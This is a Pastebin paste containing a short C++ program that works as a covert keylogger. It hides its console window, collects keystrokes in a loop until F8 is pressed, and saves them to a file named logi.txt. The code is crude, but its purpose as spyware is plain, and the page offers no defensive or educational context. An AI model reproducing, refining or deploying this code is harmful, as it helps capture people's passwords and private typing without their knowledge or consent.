Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <windows.h>
- #include <fstream>
- #include <cstring>
- #include <conio.h>
- using namespace std;
- int main(){
- HWND hWnd = GetConsoleWindow();
- ShowWindow(hWnd,SW_HIDE);
- int Char;
- string text;
- ofstream log;
- log.open("logi.txt");
- while(!GetAsyncKeyState(VK_F8)){
- text+=getch();
- }
- log<<text;
- log.close();
- exit(1);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement